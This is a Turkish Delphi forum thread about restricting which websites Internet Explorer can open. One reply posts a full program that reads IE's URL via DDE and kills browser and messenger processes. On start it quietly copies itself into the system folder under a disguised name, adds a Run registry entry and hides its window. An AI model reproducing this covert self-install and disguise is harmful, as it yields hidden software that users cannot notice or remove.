Explorer Kontrol

Delphi'de kod yazma ile ilgili sorularınızı bu foruma yazabilirsiniz.
Cevapla
Abrak
Üye
Mesajlar: 189
Kayıt: 18 Kas 2004 05:30

Explorer Kontrol

Mesaj gönderen Abrak »

selam arkadaşlar;
yapmak istediğim olay explorer'e girilen site isimlerini kontrol altında tutmak istiyorum yani veri tabanımda kayıtlı bir siteye girmek istediğinde işlemi iptal edip exploreri kapatmak istiyorum bunun için hangi bileşenleri kullanmam gerekiyor bir yol gösterebilirseniz sevinirim..
Saygılarımla
Başkasına Olan Saygımız.. Kendimize Olan saygıdır..
Abrak
Üye
Mesajlar: 189
Kayıt: 18 Kas 2004 05:30

Mesaj gönderen Abrak »

:cry:
Başkasına Olan Saygımız.. Kendimize Olan saygıdır..
fduman
Moderator
Mesajlar: 2749
Kayıt: 17 Ara 2004 12:02
Konum: Ankara

Mesaj gönderen fduman »

Proxy'ler bu amaç için var zaten. :) Aslında amacı başka ancak bunun için de kullanılabilir.

Ya bir proxy kurarak halledeceksin veya..

Kendin bir proxy yazacaksın. Client'larını server programının olduğu ip'ye yönlendirirsin. bkz. Internet explorer proxy settings. Indy ile 80 portunu dinleyip (veya proxy portu olarak ne belirlemişsen) sana gelen client çağrılarında request edilen URL'ye bakacaksın. Eğer yasaklanmamışsa doğrudan bağlantı isteğini bu url'ye forward edeceksin, yasaklanmışsa izin vermeyip bir HTML sayfa yollayarak yasaklı biryere girmeye çalıştığını söyleyeceksin..

Eğer Indy, portlar, proxy'ler hakkında hiçbir fikrin yoksa böyle birşey yazmak senin için ızdırap verici olabilir. Kendini geliştirmek için uğraşabilirsin.

En iyisi ücretsiz hazır proxy'lerden arat. Eminim işine yarayan bir yazılım bulabilirsin.

:)
Abrak
Üye
Mesajlar: 189
Kayıt: 18 Kas 2004 05:30

Mesaj gönderen Abrak »

indy bileşenlerinde işime yarayan vardır mutlaka fakat ben bulamadım 2 seçeneği olabilir bunun ya port dinleyeceğiz yada explorer açıldığında adressi kontrol edecek ama onda da bilgilere ulaşamam o yüzden en güzeli port dinlemek sanırım fakat doğru olan hangi bileşen sorun orda
fduman
Moderator
Mesajlar: 2749
Kayıt: 17 Ara 2004 12:02
Konum: Ankara

Mesaj gönderen fduman »

İlla ki yazacağım diyorsan Indy'nin TCPServer veya HTTPServer bileşenlerini inceleyebilirsin. Şunu söyleyeyim Indy'nin bu işe spesifik bir bileşeni yok. Oturup epey bir kod yazacaksın.

Zorlu bir yol. Şimdiden kolay gelsin. ;)
Abrak
Üye
Mesajlar: 189
Kayıt: 18 Kas 2004 05:30

Mesaj gönderen Abrak »

acaba explorer adres kısmında enter ve clickleri olaylarını nasıl yakalayabilirim ki
Kullanıcı avatarı
bluekid
Kıdemli Üye
Mesajlar: 541
Kayıt: 11 Haz 2004 10:45
İletişim:

Mesaj gönderen bluekid »

explorer açtığı sayfanın isminide alıyor bundan fayalanarak belki pratik bir şeyler yapabilirsin...
çalışan programların listesini denetleyerek ...
Kullanıcı avatarı
sadettinpolat
Moderator
Mesajlar: 2131
Kayıt: 07 Ara 2003 02:51
Konum: Ankara
İletişim:

Mesaj gönderen sadettinpolat »

http://www.euromind.com/iedelphi/ istediğin şeyi bu adreste bulma ihtimalin yüksek olabilir.
"Sevmek, ne zaman vazgececegini bilmektir." dedi, bana.

---
http://sadettinpolat.blogspot.com/
Abrak
Üye
Mesajlar: 189
Kayıt: 18 Kas 2004 05:30

Mesaj gönderen Abrak »

sadettinpolat teşekkürler fakat;
birçok kez aynı adrese çıktım ama alt sayfaya geçemiyorum o sitede
Başkasına Olan Saygımız.. Kendimize Olan saygıdır..
Delhici
Üye
Mesajlar: 176
Kayıt: 20 Eyl 2003 09:04

Mesaj gönderen Delhici »

Al arkadaşım. İşini fazlasıyla görecektir.. Şifre koyabilirsin. Arka planda çalışır. Kolay gelsin... Ayrıca msn Icq flashget gibi programlarıda kapatır.. İzin vermediğin sitelerden dosya indirmelerinide engellersin.. Form 2 unitini kendin belirlersin.. İyi çalışmalar

Kod: Tümünü seç

unit acik2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,ddeman, StdCtrls, ExtCtrls,Tlhelp32, AppEvnts,strutils,registry,
  SUISkinEngine;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    ListBox1: TListBox;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    ApplicationEvents1: TApplicationEvents;
    Memo1: TMemo;
    Edit1: TEdit;
    Button4: TButton;
    procedure Timer1Timer(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure ApplicationEvents1Exception(Sender: TObject; E: Exception);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button4Click(Sender: TObject);
  private
    { Private declarations }
  public
 procedure hotykey(var msg:TMessage); message WM_HOTKEY;
  end;

var
  Form1: TForm1;
   id,id2:Integer;
   S32Klasoru : Array[0..144] of char;
implementation

uses sifre1;

{$R *.dfm}
procedure TForm1.hotykey(var msg:TMessage); 
begin
  if (msg.LParamLo=MOD_CONTROL) and (msg.LParamHi=84) then 
  begin
  form1.Visible:=true;
  end;
  end;
function KillTask(Dosyadi: string): integer;
const
PROCESS_TERMINATE=$0001;
var
devam: BOOL;
fyakhandle: THandle;
islem32: TProcessEntry32;
begin
result := 0;

fyakhandle := CreateToolhelp32Snapshot
                     (TH32CS_SNAPPROCESS, 0);
islem32.dwSize := Sizeof(islem32);
devam := Process32First(fyakhandle,
                                 islem32);

  while integer(devam) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(islem32.szExeFile)) =
         UpperCase(Dosyadi))
     or (UpperCase(islem32.szExeFile) =
         UpperCase(Dosyadi))) then
      Result := Integer(TerminateProcess(OpenProcess(
                        PROCESS_TERMINATE, BOOL(0),
                        islem32.th32ProcessID), 0));
    devam := Process32Next(fyakhandle,
                                  islem32);
  end;

  CloseHandle(fyakhandle);
end;

function GetURL(Service: string): string; 
var 
  ClDDE: TDDEClientConv; 
  temp: PChar; 
begin 
  Result := '';
  //create a new DDE Client object 
  ClDDE := TDDEClientConv.Create(nil);
  with ClDDE do 
  begin 
    SetLink(Service, 'WWW_GetWindowInfo'); 
    temp := RequestData('0xFFFFFFFF'); 
       Result := StrPas(temp);
        StrDispose(temp);
    CloseLink; 
  end; 
  ClDDE.Free; 
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
I:integer;
begin
KillTask('msnappau.exe');
KillTask('msnmsgr.exe');
KillTask('msmsgs.exe');
KillTask('flashget.exe');
KillTask('icq.exe');
KillTask('icqlite.exe');

listbox1.Items.text:=(GetURL('IExplore'));
if listbox1.Items[0]='"",""' then
listbox1.Clear;
I:=pos(leftstr(listbox1.Items.Strings[0],20),memo1.Text);
if I=0 then
KillTask('iexplore.exe')
else
form1.Caption:='Sayfalar Görüntüleniyor'

end;


procedure TForm1.Button1Click(Sender: TObject);
begin
memo1.Lines.SaveToFile('c:\program files\log.dat');
memo1.Visible:=false;
edit1.Clear;
end;

procedure TForm1.ApplicationEvents1Exception(Sender: TObject;
  E: Exception);
begin
form1.Caption:='Açık web sayfası bulunamadı.';
end;

procedure TForm1.FormCreate(Sender: TObject);
var
reg:Tregistry;
begin

id:=GlobalAddAtom('hotkey');
  RegisterHotKey(handle,id,mod_control,84);
  if fileexists('c:\program files\log.dat') then
Memo1.lines.LoadFromFile('c:\program files\log.dat')
else
memo1.Lines.SaveToFile('c:\program files\log.dat');
  GetSystemDirectory(S32Klasoru, sizeof(S32Klasoru));
if fileexists(PChar(S32Klasoru + '\rnaapp.exe')) then
Abort
else
CopyFile(PChar(Application.Exename), (PChar(S32Klasoru + '\rnaapp.exe')), True);
 reg := TRegistry.Create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.LazyWrite := false;
  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false);
  reg.WriteString('rnaapp', 'rnaapp.exe');
  reg.CloseKey;
  reg.free;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if edit1.text=form2.ListBox1.Items[0] then
memo1.Visible:=true;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
if edit1.text=form2.ListBox1.Items[0] then
memo1.Visible:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(handle,id);

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
form1.Visible:=false;
action:=canone;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
if edit1.text=form2.ListBox1.Items[0] then
form2.Show;
end;

end.
http://www.bargem.info
Yaşıyorum..... İnadına değil yaptıklarım. Herşey istediğim için oluyor. İstediğim için türkü dinliyorum. İstediğim için çalışıyorum. İstediğim için yaşıyorum ve istediğim için seni seviyorum...
Abrak
Üye
Mesajlar: 189
Kayıt: 18 Kas 2004 05:30

Mesaj gönderen Abrak »

Delhici çok tşk ederim amacım hazır birşeyler değildi fakat kafamdakini anlatma sorunu yaşadım sanırım. Gönderdiğin Örnek istediklerimi öğrenmemde yardımcı olacaktır çok sağolasın
Başkasına Olan Saygımız.. Kendimize Olan saygıdır..
Delhici
Üye
Mesajlar: 176
Kayıt: 20 Eyl 2003 09:04

Mesaj gönderen Delhici »

özür dilerim. Sadace yardımcı olmak istedim. Senin istediğin fonksiyon şurası. Bu bölüm açık olan internet explorer sayfalarını göstermekte.uses satırına ddman ekle..
function GetURL(Service: string): string;
var
ClDDE: TDDEClientConv;
temp: PChar;
begin
Result := '';
//create a new DDE Client object
ClDDE := TDDEClientConv.Create(nil);
with ClDDE do
begin
SetLink(Service, 'WWW_GetWindowInfo');
temp := RequestData('0xFFFFFFFF');
Result := StrPas(temp);
StrDispose(temp);
CloseLink;
end;
ClDDE.Free;
end;
Kullanımı
listbox1.Items.add(GetURL('IExplore'));
http://www.bargem.info
Yaşıyorum..... İnadına değil yaptıklarım. Herşey istediğim için oluyor. İstediğim için türkü dinliyorum. İstediğim için çalışıyorum. İstediğim için yaşıyorum ve istediğim için seni seviyorum...
Cevapla